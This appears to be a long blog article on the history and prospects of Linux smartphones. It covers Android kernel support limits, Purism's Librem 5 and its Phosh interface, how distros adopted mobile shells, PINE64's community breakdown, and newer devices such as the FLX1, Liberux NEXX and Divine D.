Traditionally each new Android version only supports three years of kernels, but in 2024 Google added a fourth year with Android 15 (android12-5.10 to android15-6.6) and a fifth year with Android 16 (android12-5.10 to android16-6.12) and a sixth year with Android 17 (android12-5.10 to android17-6.18). However, these extra years of support in Android are likely a temporary fix that Google implemented until it can move the chipmakers into its Longevity Google Requirements Freeze (LGRF) program which Google began in October 2024 . Under this program, chipmakers are expected to upgrade their kernels every 3 years in order to be able to support their SoC’s in the long term. After the Linux kernel maintainers announced that they would be reducing their support of their LTS kernels from 6 to 2 years, Google announced in July 2024 that it would provide security updates to its kernels for 4 years, so that suggests that future Android releases will go back to only supporting 3 years of kernels.

Qualcomm has promised to provide two kernel updates for its high end processors, but Qualcomm has said nothing about its lower-tier processors, except for its announcement back in December 2020 that all of its Snapdragon processors would get three years of OS updates and 4 years of security updates. Other SoC manufacturers have been similarly mum on the support for their lower-tier processors. In all likelihood, most smartphones with mid-range and low-end processors will only get 4 years of support, which means that all the existing Linux phones from Volla, FuriLabs, Jolla and Brax will probably face the same problem of using unsupported Android kernels that can’t be upgraded.

New Linux phones, however, can be designed in the future to get 8 years of support if they use a higher-end Snapdragon or Dimensity processor. Even if designing a custom phone like the FLX1, which took three years to bring to market, because it has three hardware kill switches for the microphone, cameras and cellular modem and it required a lot of software dev work, the Linux phone should still be viable because it will still have 5 more years of software support and can be sold for at least 3 years.

If selecting the Snapdragon 8 or Dimensity 9000 series to take advantage of its longer software support, the phone will get the added benefit of offering video out via DisplayPort Alt Mode over its USB-C port. That means that the phone can be marketed as a convergent device that allows it to be used as both a phone and a desktop PC. Unlike an Android desktop, a Linux desktop is far more useful as a PC. If the phone has enough RAM and storage space, it can become a replacement for the traditional PC for people who don’t need a lot of processing power, but it has the convenience of being more portable than a laptop, and not needing to transfer data between multiple devices. For people who have to work in multiple locations and want to be able to carry their data around with them, a convergent phone can be a very attractive option.

If designing a more economical phone, however, that doesn’t need video out, the Snapdragon 7 and Dimensity 8400 are processors designed for upper mid-range phones, and they still get the 8 years of support (if the phone maker is willing to pay Qualcomm or MediaTek for the extended support). This will be the most attractive option for Volla, Jolla, FuriLabs and Brax, which all sell mid-range phones.

If a Snapdragon chip is selected, there is a decent chance that the chip will eventually gain some mainline Linux support, so the phone can have a second life after the official support ends, although its functions requiring binary blobs probably won’t work with the upgraded mainline Linux kernel. What is so frustrating is that many of the makers of Linux phones are selecting MediaTek processors over Snapdragon processors, so there is little hope for that second life.

Why software was a major challenge for the Librem 5

When Purism announced the Librem 5 in August 2017, the California-based company wasn’t just facing a major obstacle in using a new SoC, that hadn’t yet been released, which would significantly delay the phone . Purism, however, faced an even bigger challenge in the software to install on the phone.

Purism had observed how trying to develop mobile Linux had humbled larger companies with far more resources, and it tried to avoid their mistakes. Motorola developed half a dozen different varieties of Linux, but couldn’t unify and direct its development efforts, and eventually adopted Android which commoditized its phones, so it had to be sold off to Google and eventually Lenovo in order to survive. Palm took too long developing webOS and ran out of money as Android ate its market, so it had to sell itself off to HP in 2010 in order to survive. Likewise, Nokia took too long developing MeeGo as its business collapsed due to Android, so it turned to Microsoft in 2010 to provide Windows Mobile for its phones, which only hastened the destruction of the Finnish company. The Mozilla Foundation developed an entire operating system based on web standards, but found that it didn’t have the resources to match Google’s Android, and abandoned the development of Firefox OS for smartphones in December 2015 , although it continued development for TVs and Internet of Things for another 10 months . Canonical attempted to unify the desktop and mobile spaces with its Unity8 interface and develop Ubuntu Touch as a mobile OS with good convergence for the desktop. However, it proved to be a costly endeavor with limited commercial interest, and Canonical’s CEO, Mark Shuttleworth, announced that the company would abandon the development of Ubuntu Touch in April 2017.

This tragic history has taught Linux hardware vendors that they should do as little software development as possible, except code to make their hardware work and some distro maintenance. However, avoiding software dev work was not viable strategy in 2017 for the kind of phone that Purism was attempting to create.

All the available mobile Linux interfaces in 2017 had major drawbacks, including Sailfish OS’s Silica , Firefox OS’s Gaia , KDE’s Plasma Mobile , UBports’ Unity8→Lomiri , Maemo Leste’s Hildon , LuneOS’s Luna Next and Nemo Mobile’s Glacier UI . Jolla had spent years polishing its Sailfish OS, but Purism’s goal of 100% free software disqualified Jolla’s proprietary Silica interface, as well as Samsung’s Tizen, whose problematic Flora License grants a patent license only to “Tizen certified platforms”. Nemo Mobile and Plasma Mobile were still incomplete and would have required a lot of dev work on Purism’s part to supply all the missing parts. LG had turned webOS into an operating system for smart TVs/projectors and automobiles, and replacing LG’s proprietary bits would have taken quite a bit of work. Firefox OS and Ubuntu Touch were complete systems, but both of them would have required a huge commitment on Purism’s part to maintain their software in the long term. Firefox OS’s code was abandoned, and the volunteers at UBports didn’t have the manpower to maintain its huge codebase. All of the available interfaces were based on a separate mobile stack, whereas Purism wanted to unify with the software stack in desktop Linux, because one of its announced goals was that the Librem 5 could be used with the major distros, including Debian, Ubuntu, Fedora, SUSE and Arch.

Purism originally leaned toward adopting Plasma Mobile for its Librem 5 phone, but that would have required maintaining both a GNOME-based stack on the desktop and a separate KDE-based mobile stack in its PureOS distribution. At that point in time, Plasma Mobile was still an inchoate system, that would have required a huge amount of dev work to get ready for a commercial product launch. Plasma Mobile was based on many things that were incapatible with a desktop stack, such as oFono telephony and the Halium Project , which was also used by LG’s webOS and UBport’s Ubuntu Touch, in order to run the system on top of libhybris with a Android kernel and drivers.

Purism was already working with GTK and GNOME in PureOS, and it marketed the Librem 5 as a phone aligned with the ideals of the Free Software Foundation, which sponsored GNOME, so it made sense for Purism to favor an interface based on GTK and the GNOME ecosystem. However, the only available GTK-based interface was Hildon, which was hopelessly outdated, and would have required a lot of work to upgrade from GTK 2 to GTK 3.

In the end, Purism decided that it would be easier to create a new mobile interface, which it called Phosh ( pho ne + sh ell), as a thin overlay on top of GTK plus GNOME middleware, than do dev work on one of the existing mobile interfaces. By basing Phosh on the standard desktop stack consisting of Linux + Wayland + wlroots + GTK + GNOME and adding code to roughly 20 GNOME applications to make them adaptive, Purism was able to take advantage of all the corporate support provided by IBM/Red Hat, SUSE, Canonical and Google for this stack. Purism had to submit code upstream to Linux , wlroots , ModemManager , GTK/GNOME and Matrix to support its mobile operating system, but then it could rely on those projects to maintain the code in the future. This was arguably a better strategy than helping develop Plasma Mobile, which has minimal corporate support, and was focused at the time on developing a separate stack than KDE’s desktop Plasma. Purism started working on its libhandy library in mid-2018 to add to standard GTK3/GNOME desktop applications to make them adaptive for a smaller mobile interface. Then the Purism developers worked with the GNOME community to develop libadwaita in 2020 , so GTK4/GNOME could become adaptive between mobile and desktop screens.

As detailed in my article, “ The strategic advantages of Phosh for mobile Linux ,” unifying with an existing desktop stack and getting the broader community to adopt its software to help maintain it was arguably the best strategy to reduce the long-term maintenance costs, especially for a tiny company like Purism that has limited resources.

Unfortunately, developing a new mobile interface involved higher costs upfront, and Purism ran into financial problems during the global COVID-19 pandemic. In early March of 2020, Purism stopped paying refunds to customers who cancelled their preorders, telling customers that they would have to wait till the phone started shipping in order to get their refunds. Between February and May of 2020, 5 of the 14 developers working on the Librem 5 quit the project, and there was a noticeable drop in the number of software commits by the Purism employees who stayed, indicating that Purism probably wasn’t paying them.

Purism was caught in a hopeless situation. If it publicly admitted in early 2020 that it was having financial problems, all of the orders for its products would have dried up and the company would likely have gone bankrupt. If it paid out all the refund requests, it also would have likely gone bankrupt, which would have harmed everyone who had put down $599 – $799 to pre-order the Librem 5. Purism held off on paying refunds, which probably allowed the company to survive and eventually start delivering its phones in November 2020. However, it didn’t appear to have the funds on hand to manufacture all the pre-ordered phones, because the manufacture of the Librem 5 was done in small batches until it was caught by COVID’s global supply chain shortages and couldn’t procure the i.MX 8M Quad processors for 6 months during 2021 .

Purism never repaid the refunds for the canceled Librem 5 orders. Angry customers waiting for their refunds publicly denounced the company on public forums, which blackened the company’s public reputation and suppressed sales of the Librem 5. The early reviews for the phone noted the poor battery life and the fact that critical functionality was still not implemented, such as the cameras, VoLTE support in the modem and the ability to suspend. In order to recoup its high development costs, Purism kept raising the phone’s price, until it reached an eye-watering $1299 in March 2022 , which further suppressed sales of the phone.

Instead of refunds, Purism offered customers who had canceled their orders credit plus 20% extra to buy another product from Purism. Customers who received the Librem 5 were able to resell it for more than they paid, but many customers who had canceled their orders refused to do that on principal. In a letter to Louis Rossmann in August 2023, Purism admitted that it still had 600 cancelled Librem 5 orders, which it still didn’t have the finances to refund.

The success of Phosh despite its limited funding

Despite all the controversy surrounding the California-based company, its strategy of making a sustainable mobile OS by unifying with a popular desktop stack with good corporate support and upstreaming its code so it would be maintained over the long term has proven to be correct. Of the 469k lines of code in the software projects that Purism initiated for the Librem 5, 98.7% of that code is now controlled by external organizations. GNOME adopted libhandy , Calls and Chat (i.e. chatty) as official projects. In late 2020, the Purism developers started worked with the GNOME community to develop libadwaita to become the canonical implementation of GNOME’s human interface guidelines (HIG). Not only did this make GNOME’s GTK4 applications adaptive between the desktop and mobile environoments, but it gained features like in-app notifications, customizable animations and speed/fluidity improvements. GNOME has continued developing its GNOME Shell on mobile based Mutter , which is its unified display server, compositor and window manager. In contrast, Phosh uses wlroots (a Wayland compositor library created by Sway) and its phoc (a Wayland compositor), which are lighter weight than Mutter. However, GNOME has helped promote Phosh by hosting its code and documentation at GNOME World to foster its development.

As Purism has cut its budget for code development, Phosh’s development has increasingly moved outside the company. FreeDesktop.org adopted feedbackd , which is a D-Bus activated daemon that provides haptic, visual and audio feedback in response to events. In February 2025 , the non-profit association Phosh.mobi e.V. was created in Germany to guide the development of Phosh as an independent entity. Three of the nine founding members of Phosh.mobi were former or current Purism employees/contractors, including Guido Gunther, who is Phosh’s main developer.

Over the last five years, the amount of code in the projects that Purism created for the Librem 5 has grown by 74.9%, and much of that new code is being written by people who are no longer employed or contracted by Purism. The only code projects still controlled by Purism are gtherm , haegtesse and wys , which are DBus daemons for thermals, transfering modem audio and bringing up PulseAudio during calls, respectively. Together, these projects only represent 6173 lines or 1.3% of the total code.

Lines of code over the last 5 years in projects started by Purism for the Librem 5
Project 2021-12-15 % of total 2026-09-16 % of total Growth
libhandy 47,730 17.8% 48,110 10.3% 0.8%
libadwaita 51,270 19.1% 128,067 27.3% 149.8%
chatty 49,661 18.5% 49,534 10.6% -0.3%
calls 20,745 7.7% 28,964 6.2% 39.6%
libcall-ui 4,426 1.6% 5,093 1.1% 15.1%
phoc 15,277 5.7% 38,599 8.2% 152.7%
phosh 48,301 18.0% 96,357 20.5% 99.5%
phosh-mobile-settings 26,724 5.7%
phosh-tour 4,135 0.9%
squeekboard 17,993 6.7% 26,773 5.7% 48.8%
feedbackd 5,970 2.2% 9,768 2.1% 63.6%
feedbackd-device-themes 603 0.2% 940 0.2% 55.9%
gtherm 1,734 0.6% 1,763 0.4% 1.7%
haegtesse 2,105 0.8% 2,044 0.4% -2.9%
wys 2,442 0.9% 2,366 0.5% -3.1%
Total 268,257 100.0% 469,237 100.0% 74.9%
Code adopted by external organizations
GNOME 173,832 64.8% 259,768 55.4% 49.4%
Phosh.mobi 192,588 41.0%
FreeDesktop.org 10,708 2.3%
Total external 173,832 64.8% 463,064 98.7% 166.4%

In a survey that PINE64 took of 3079 PinePhone users in January 2022, 39.3% selected Phosh as their favorite interface, compared to 15.5% for Sxmo/Sxmo, 15.0% for Plasma Mobile and 6.7% for Lomiri (formerly Unity8). Despite Phosh only starting its development in April 2018 , more users preferred it over Lomiri and Plasma Mobile, which have been under development since March 2013 and July 2015 , respectively. Purism’s strategy of using the existing infrastructure and applications from GNOME allowed the tiny company to create a usable interface faster than other competing interfaces.

It is surprising that Phosh became the most popular mobile Linux interface, considering that the Qt toolkit and KDE had such a head start over GTK and GNOME in supporting mobile environments. Qt Quick was introduced with Qt 5.1 in June 2013 to make Qt controls adaptive for small screens, and Qt Mobile was introduced in December 2013 to make them cross-platform, and KDE’s Kirigami library for adaptive applications was introduced in March 2016. GTK didn’t gain similar abilities until 2019 with libhandy and GNOME didn’t have an answer to Kirigami until libadwaita was introduced in 2021 .

Phosh has some glaring limitations. Its default Squeekboard keyboard is basic and kludgy. Only in 2025 did Phosh gain an alternative keyboard with word correction and word completion, plus the ability to select from multiple characters by long pressing a key. The desktop mode in Phosh to output video to an external monitor or projector has a very limited interface. Phosh has no camera app, and most installations rely on Megapixels developed by Martijn Braam for the PinePhone or its Millipixels fork developed by Purism for the Librem 5. Millipixels only gained basic support for auto-focus and the ability to shoot video in January 2023 .

Phosh doesn’t have the three buttons at the bottom or the swipe gestures from Android that most people are used to. Plasma Mobile’s interface is much closer to the familiar Android interface, and it is nicer visually. Phosh’s interface is much simplier. It doesn’t use system navigation buttons and has fewer configuration options than Plasma Mobile. A swipe from the bottom displays Phosh’s Overview screen where apps can be opened or closed. A swipe from the top displays a Quick-Setting panel, notifications, and buttons in the top corners to lock or turn off the phone.

S
S Swipe from the bottom for Phosh’s Overview screen to open or close apps. The open apps are at top, then a search bar, the four favorite apps, and all the available apps at the bottom.

S Swipe from the top for Phosh’s Quick-Setting panel and notifications, which can be cleared by swiping them to the side.

Phosh became the more popular interface, partly because Purism was paying developers to work on it, so it was more stable, whereas Plasma Mobile was more prone to stalls and crashes. Plasma relies on hardware acceleration from the GPU to speed up its interface, which isn’t supported by the drivers for the A64 and i.MX 8M Quad in the PinePhone and Librem 5, whereas Phosh is faster and more responsive just using software rendering. Phosh also requires less RAM, although it does run more background processes that use more CPU.

Adoption of mobile interfaces by Linux distros

Phosh succeeded because its close adherence to a common desktop stack made it easier to package and distribute in different distros. Phosh was first adopted by postmarketOS (now Nura) in September 2018, just a two months after Purism first debuted it. The close ties between the Phosh developers and Debian helped get Phosh packaged into Debian in February 2020, where it became the basis of the new Mobian distro. Phosh allowed Debian, Arch, Manjaro, Fedora, OpenSUSE and NixOS to become mobile distros for the first time, which in turn encouraged Linux application developers to start testing their software in a mobile interface to see how it functioned on smaller screens. Because Phosh didn’t stay isolated in one Linux distro, it attracted more volunteers to help develop the software and work on porting it.

Over time, Plasma Mobile has followed Phosh’s example and increasingly unified with its Plasma desktop stack. Originally the Plasma Mobile stack was quite different from the standard desktop Plasma stack, since Plasma Mobile was based on the oFono telephony library and could be run either on the standard Linux kernel or on the Halium Project , which allows Plasma Mobile to run in an LXC container on top of an Android kernel and drivers, and using libhybris to translate its Linux calls to libc into Android’s Bionic. Over time the KDE has jettisoned parts of Plasma Mobile to unify it with its desktop stack. In December 2020, KDE announced that it would get rid of Halium and only run on a Linux kernel, because that change would allow Plasma Mobile to employ a traditional Linux userspace without blobs and upgrade their KWin composer. A year later in December 2021, Plasma Mobile announced that it was switching from the oFono library to ModemManager, because it was more stable and better maintained than oFono. Finally, in February 2026, Plasma Mobile announced it would be switching from the Maliit on-screen keyboard to the new Plasma Keyboard. Over time, KDE has incorporated Kirigami into more of its standard applications, so it doesn’t need two different applications for Plasma and Plasma Mobile.

The unification of the mobile and desktop stacks made it easier for Plasma Mobile to follow Phosh’s example in getting packaged and incorporated into all the major Linux desktop distributions, so they could also be used on mobile devices. Nearly every major distro started testing its code on the PinePhone, which helped get more people testing and contributing to Phosh and Plasma Mobile.

Despite the fact that these two interfaces have fewer developers than desktop GNOME and desktop Plasma, they have don’t need nearly as much manpower because they can piggy back on the desktop stack and the convergent apps, so they can thrive with much less dev work and maintenance than big siloed codebases like Ubuntu Touch, Firefox OS, Tizen, webOS, etc.

Sxmo (Simple X Mobile) has followed simple strategy of building on top an existing deskop stack. It was created by Miles Alan, as a “ collection of simple programs and shell scripts ” on top of Sway and its wlroots library. It was first released in February 2020 , and quickly became the second most popular interface on the PinePhone due to its light-weight and simple design, which made it easy to customize. Sxmo has been incorporated into the mobile distros (postmarketOS, Mobian and DanctNIX), but the desktop distros haven’t adopted it, which has limited its reach.

UBport’s Lomiri interface is faster and more responsive and consumes less RAM than Phosh and Plasma Mobile, but it was originally isolated in Ubuntu Touch. Canonical spent years developing its Unity8 interface, which is based on Qt Quick and used in Ubuntu Touch. The UBports community renamed the interface as Lomiri in February 2020. UBports has followed a similar strategy of trying to attract more people to its Lomiri interface by getting it incorporated into the major distros. UBports modified Ubuntu Touch and the Lomiri interface so they could run on either Halium or a standard Linux kernel, and switched to using more standardized libraries that were easier to upgrade over time. Nonetheless its small number of volunteers has struggled to maintain its huge codebase, and update it to new versions of Qt.

Despite the head start of Plasma Mobile and Lomiri, they stayed isolated for longer in KDE Neon and Ubuntu Touch. In contrast, Phosh got adopted almost immediately by postmarketOS, and once it got packaged by Debian in early 2020, most of the other major distros quickly adopted it. When postmarketOS was first released in May 2017, it used Weston, which is Wayland’s reference compositor, but within the first 100 days of its existence, postmarketOS adopted Plasma Mobile. However, postmarketOS chose to ship its PinePhone Community Edition with Phosh due to its greater stability.

When mobile interfaces were added to Linux distros
Distro Phosh Plasma Mobile Lomiri (Unity8) Sxmo
First release of interface 2018-07 on PureOS 2015-07-25 on LG Nexus 5 2016-04-21 on Ubuntu 16.04 2020-05-20 on Sxmo distro
postmarketOS→
Nura
2018-09-09 2017-08 2019-01 to 2019-09 , returned 2025-01 2020-08-01
Debian/Mobian 2020-02 2023-03 2023-02 2022-10
Ubuntu 2022-03-25 2024-04-01 2016-04-21 no
Arch/DanctNIX 2020-06-29 2021-06-13 no 2022-02-22
Manjaro 2020-10-17 2020-12-05 2020-09-19 no
Fedora 2020-10 2024-10-14 2025-04-16 no
OpenSUSE 2020-06-18 2021-02-03 no no
NixOS 2020-05-24 2021-04-30 2024–06-03 no

Unlike in the past, when mobile Linux interfaces were isolated in a few distros, many distros now support Phosh, Plasma Mobile and Lomiri. Because mobile Linux is no longer isolated and locked into silos controlled by large companies, such as Nokia, Samsung, LG, Mozilla and Canonical, it has a much greater chance of succeeding and attracted contributors than it did in the past. Because Phosh and Plasma Mobile and Sxmo are based on using existing software stacks that are maintained by outside organizations, it is much less likely to be abandoned, as happened with Firefox OS, or to ossify and fade into obscurity, as happened with Hildon.

PINE64’s attempt to get around the cost of developing software

PINE64 was founded as a crowd-funding campaign in October 2015 by TL Lim and Johnson Jeng to develop a single board computer based on the Allwinner A64 processor. The company based in Hong Kong focuses on producing economical Linux hardware devices. It gets around the high costs of developing software by just producing the hardware and then invites the community to develop the software for its devices. By allying with various different Linux distros, PINE64 initially had a great deal of success.

PINE64 probably shipped over 100,000 PinePhones , which greatly stimulated the development of mobile Linux. The release of the PinePhone led to the creation of the Mobian ( Mob ile Deb ian ) and DanctNIX (based on Arch ARM) distros and inspired the creation of the Sxmo interface. The PinePhone helped Plasma Mobile decide that it only needed to run on a Linux stack and pushed UBports to add support for running on a Linux kernel. It also caused many of the major distros to work on porting to a mobile device for the first time.

PINE64 played an important service for the community by getting cheap hardware into people’s hands so they develop software for that hardware, but it made the fundamental mistake of focusing on the distros, which only works if the hardware already has kernel support and good free/open source drivers. Drew DeVault, the lead developer of Sway and one of the volunteer developers who worked on the PinePhone, observed that PINE64 was putting the cart before the horse, by helping to finance the packaging work in particular distos, rather than first paying developers to work on the booting and driver development, that would have benefitted all the distros.

Because PINE64 chose hardware for the PinePhone that was mostly already supported by FOSS drivers, it was able to attract a large number of distros to work on the phone. Volunteer developer Ondřej Jirman (aka “mega” or “megi”) created a custom Linux kernel for the PinePhone. Volunteers at UBports did the initial work on bringing up the hardware. Arnaud Ferraris (aka “a-wai”) at Mobian developed the telephony stack using the eg25-manager in userspace. Martijn Braam at postmarketOS worked on the camera. PINE64 initially released a series of five development batches of the PinePhone, which had different distros preinstalled (Ubuntu Touch, postmarketOS with Phosh, Manjaro with Phosh, Manjaro with Plasma Mobile and Mobian with Phosh). For each phone sold, PINE64 donated $10 to the distro which provided the software. After that, PINE64 planned to let the buyer select which distro to support by selecting the distro’s logo to display on the back plate of the PinePhone’s case.

Nonetheless, there were arguments among the different distros behind the scenes over the design of the hardware projects. PINE64’s founder, TL Lim, grew frustrated and decided to just ship PINE64’s devices with one distro and one interface preinstalled. Given the complexity of trying to work with so many different distros, this wasn’t an unreasonable decision, but it had to be handled with care to not alienate the other distros. Unfortunately, Lim chose to only ship PINE64 devices with Manjaro and Plasma Mobile preinstalled. PINE64’s own poll of PinePhone users showed that Phosh was the most popular interface, but it was controlled by Purism, a competitor to PINE64. Plasma Mobile wasn’t a bad choice, since it was a community-based interface that needed corporate support. Manjaro, however, was a very poor choice, since it wasn’t doing any software dev work and has been widely criticized for its bad practice of shipping software in development that is known to be broken, which creates more work and public backlash for the projects developing the software.

Many of the crucial volunteers who worked on the PinePhone were burned out by the time that development on the PinePhone Pro started. They were frustrated by the internal arguments and the fact that PINE64 had shifted from sharing revenue with many distros to only paying Manjaro, rather than the people who were doing the necessary dev work. The PinePhone Pro’s hardware required quite a bit of software dev work to support it. In August 2022, Martijn Braam at postmarketOS publicly broke up with PINE64 due to its bad decisions in favor of Manjaro. PINE64’s response failed to address Braam’s frustrations, and Drew DeVault posted that “ PINE64 has let its community down .” Most of the volunteer developers stopped collaborating with PINE64, so the community-based company didn’t have the manpower to do the necessary software development for its new hardware. Most distros weren’t willing to work on a phone that couldn’t even properly boot. Thousands of people bought the PinePhone Pro after it was released in December 2021, expecting that eventually it would become a functional device, but it still had major software problems when its sales were cancelled in August 2025. The failure of the PinePhone Pro illustrates that PINE64 had its priorities backwards by focusing on one distro that mainly does packaging work, rather than focusing on the booting and kernel work.

Another of the problems was that PINE64 sent out its free hardware samples to the same small number of volunteers. By the time that the PinePhone Pro started its development, those volunteers were overwhelmed by all the new hardware that PINE64 was releasing, which all needed serious software dev work to ever be functional. With so many projects needing attention, the volunteers couldn’t focus their energy on any one device, so all of them got neglected.

PINE64 charges such low prices for its hardware, that it doesn’t have the necessary funds to pay for serious software dev work. However, its revenue sharing model with the distros was working to convince talented people associated with those distros to do the hard work of supporting its hardware. Then, PINE64 undermined its whole community development model by deciding that it would only sell its hardware with one distro and one interface preinstalled, and its decision to only share its revenue with that one distro. Then, PINE64 made matters worse by only listening to Manjaro in how it designed its hardware, which alienated many of the volunteers from other distros that it needed to do the software dev work. Once the best volunteers abandoned PINE64, the company hasn’t been able to complete the development of the PinePhone Pro, PineNote, PineTab2 and many of its other projects, so the people who ordered these devices are unlikely to ever be able to use them as fully functional devices.

Rather than sharing revenue with many different distros, PINE64 should have used any profits that it generated to pay developers to work on the drivers and kernel support for the hardware. It could have taken a community-based approach by observing who was making progress, and helping to finance their work. Because the Allwinner A64 already had decent free/open source drivers, volunteers were able to fill in the gaps with the PinePhone. However, many of the kernel changes that they made never got upstreamed to mainline Linux, which PINE64 could have required if it were paying for that work.

PINE64 also could have directed its revenue sharing program to help finance development work that would benefit all users of PinePhone, regardless of which distro they chose, such as Martijn Braam’s work on the Megapixels camera app or Biktorgj’s work on freeing the EG25-G modem firmware . Given that Phosh, Plasma Mobile, Lomiri and Sxmo/Swmo were being packaged in many different distros, it would have been better to pay people to work on developing those mobile interfaces than giving money to the distros. There are plenty of volunteers in the community who were willing to work on porting distros to the PinePhone, but there are far fewer people who are willing to do difficult driver and software dev work in their spare time.

The waning enthusiasm for Linux phones

After the initial enthusiasm for the Librem 5, PinePhone and PinePhone Pro in 2020-21, there was a noticeable drop in people’s interest in Linux phones. The number of posts about the Librem 5 and PinePhone on Reddit and the Purism and PINE64 forums reduced in 2022-25. The subsequent announcements of new Linux phones, namely the F(x)tec Pro 1 X with Sailfish OS and Ubuntu Touch, the Volla phones with Ubuntu Touch, Furi Labs FLX1/s/s+, the Jolla C2 with Sailfish OS, Liberux NEXX, Commodore Callback 8020 and Mecha Comet, haven’t generated nearly as much public interest and community engagement as the announcements of the Librem 5, PinePhone and PinePhone Pro. This difference is partly due to the fact that Purism and PINE64 were established companies that were already shipping Linux devices and they had community forums and Subreddits where people could gather and discuss the upcoming devices.

Nonetheless, I suspect that many of the people who bought the Librem 5 and PinePhone had a similar experiences to mine which dampened their enthusiasm for Linux phones over time. When both of those phones first arrived, they were fascinating devices for geeks like me, who had been playing around with Linux for years on their desktop PCs. I had a blast flashing different distros on the PinePhone and I frequently downloaded the latest version of PureOS and reflashed my Librem 5. I ran benchmarks on the two phones and eagerly followed the dev work to add support for the phones’ hardware. I had spent years waiting for the Librem 5, and after it arrived, I followed the development of Phosh and Adwaita by the Purism developers, like I was rooting for my favorite sports team. I considered the development of Phosh and Plasma Mobile to be the most exciting thing that was happening in the Linux world, and I enjoyed trying out new versions of the interfaces to see what was new in each release.

The first year after the Librem 5 and PinePhone were released were exciting times. I was so intrigued by the phones that I looked up every component on the Librem 5 and PinePhone schematics and documented them on the projects’ wikis. However, each time I flashed a new distro on the PinePhone to try it out, I only played with the phone for a day or two, before it went back in the drawer on my desk. I took the PinePhone apart and admired how it was designed, but I never used the phone for very long before I put it down. Its performance was poor. It took a long time to load apps and there was a noticeable delay in the interface. I also found it distracting to use the phone when the screen was dimmed or the battery was low, because of the noticeable flicker on the screen. I considered pulling out the soldering iron to implement a fix that would speed up the Flash memory storage, but I feared that I might accidentally ruin the board. I expected that PINE64 would issue an new version of the PinePhone that would fix the problems, but instead PINE64 dismissed the screen flicker as a problem and hasn’t changed the eMMC’s voltage from 3.3 to 1.8 volts, which would have increased its sequential read speed from 55 to 125 MB/s . I was also annoyed that PINE64 provided no way to communicate with its hardware developers, so I wasn’t able to get errors fixed that I found in the PinePhone schematics.

Unlike the Pinephone which I rarely used, I kept using the Librem 5, because its better CPU and memory performance made its interface much more responsive than the PinePhone. Nonetheless, the Librem 5’s screen and aluminum frame got hot, since Purism used thermal paste to join the i.MX 8M Quad to the LCD’s backplate to dissipate the processor’s heat through the screen and aluminum frame. I often felt like I was walking around with a heater in my pocket. The battery drained fast, so I was constantly having to charge the Librem 5.

Eventually the Purism developers got the Librem 5’s camera to work, and I tried out each new version of the Millipixels app. It was fun playing with the camera and I learned a lot about how cameras work trying to adjust the settings to get a good photo. However, the Librem 5 took a long time to process each photo in software after taking a picture, since its i.MX 8M Quad processor lacked an image signal processor and hardware encoder in the VPU. It also took me way too long fiddling with the Millipixels’ settings for me to rely on the camera. Whenever I wanted to make sure that I would get a decent photo, I pulled out my Xiaomi Redmi Note 7 running LineageOS to take the photo. Eventually it was possible to shoot video on the Librem 5 at a low resolution and frame rate, but it took so long to process the video and the quality was so limited, that I never bothered using it.

In the end, the PinePhone sat most of the time in a drawer in my desk, and the Librem 5 sat charging on my desk. They were good entertainment for the geek in me, but I didn’t use either of them as my primary phone. Many of the early adopters appear to have had similar experiences with their Linux phones. It was hard to justify buying another Linux phone, when there was already one sitting unused in the drawer. Many people were unwilling to take a chance on another Linux phone after witnessing how the community developers abandoned PINE64 in 2022, and software development stalled for the PinePhone Pro and how Purism refused to refund cancelled orders for the Librem 5.

When Furi Labs announced its upcoming FLX1 in June 2024 , it solved many of the problems with the Librem 5 and PinePhone. It contained a 6nm MediaTek Dimensity 900, which was powerful enough shoot video and run 3D games with Vulkan . It offers three hardware privacy switches and multi-booting to run multiple operating systems on the phone. The phone’s software was developed by Bardia Moshiri, who is the lead developer of Droidian , which runs Phosh in a Debian-based distro on top of Halium with an Android kernel. It was based on well-supported projects and software which had already been developed, so its costs would be low, but it had an experienced developer to provide software support. In other words, it would avoid the high costs that troubled the Librem 5 and the lack of software support that bedeviled the PinePhone Pro. People report that the FLX1 and its following FLX1s and FLX1s+ variants work well, but the Linux phone is not well-known and appears to have gotten a limited number of orders. The company’s forum has been frozen and there has been limited activity on the Droidian forum , indicating that the phone has gained little traction in the Linux community.

Revision 1.1 of the Divine D. circuit board arrived on Aug 10, 2026 .

In January 2025 , Liberux, a startup based in Madrid, Spain, announced its upcoming NEXX Linux phone based on the RK3588S with specs to make nerds salivate: 4×2.4GHz Cortex-A76, 4x Cortex-A55, Mali-G610 MP4 GPU, 32GB LPDDR4X RAM, 256GB eMMC, 5G modem and 3 hardware kill switches. In June 2025, Liberux started the crowdfunding for the phone, and a couple days later announced a modular and open architecture that would allow the RAM board with an FPC connector to be upgraded up to 32GB, the eMMC board with a standard socket to be upgraded up to 512GB, and the cellular modem with a custom adapter board to be replaced/upgraded. The price varied between €790 and €1310, depending on the selected configuration. In addition, the NEXX would have two USB-C 3.1 ports to facilitate the phone being used a convergent desktop PC and an AW8737SCSR amplifier and a 3.5mm audio jack for better analog audio.

The NEXX was a revolutionary design, promising to be the first phone in history with two USB ports and the first one with the RAM and eMMC on separate boards, so it could be upgraded and connected like a normal PC. Liberux was attempting to offer the first truly convergent smartphone that had the right software and hardware to replace a desktop PC, yet it hardly generated any headlines in the tech press. It only got 120 pre-orders in a month, which generated a tenth of the $1.7 million in crowdfunding that it needed. When its crowdfunding campaign failed, Liberux reported that it was negotiating with investors for raise the funds to build a prototype. However, its last post on the company’s Mastadon account was in November 2025 about “moving forward with new self-funding.” After 11 months of silence, it is looking increasingly doubtful that the NEXX will ever come to market.

There is more hope for the Dawndrums Divine D. phone, which is being produced by a startup in Tunisia. The startup has continued to make slow progress according to its Mastodon posts . They are now on the second revision of their main board and have produced a breakout board for debugging it. They are developing their own distro known as DawnOS , which is based on Mobian and planning to support both the Phosh and Plasma Mobile interfaces. They are asking for donations , but appear to be largely self funded at this point. Like the NEXX, the Divine D. also promises to be an outstanding convergent phone, supporting up to 32GB RAM and offering a separate HDMI port for video out. It also offers a LoRa (long-range radio) chip, and a pogo pin interface to add accessories to the phone.

Jolla shows that there is still demand for Linux phones

While the failed crowdfunding of the Liberux NEXX and the limited sales of the Furi Labs FLX1 would suggest that there isn’t much hope for Linux phones, it is important to keep in mind that these phones were poorly advertised and produced by unknown startups that had no prior track record, so people were reluctant to order them. Bitter experience with the Librem 5 refunds, the failures of the PinePhone Pro, and all the cancelled Linux mobile devices over the years, such as the Ubuntu Edge in 2013, the Firefox OS phones in 2015, the Jolla Tablet in 2015 and the Necunos NC_1 in 2019, has taught Linux enthusiasts to be cautious about crowdfunding mobile devices.

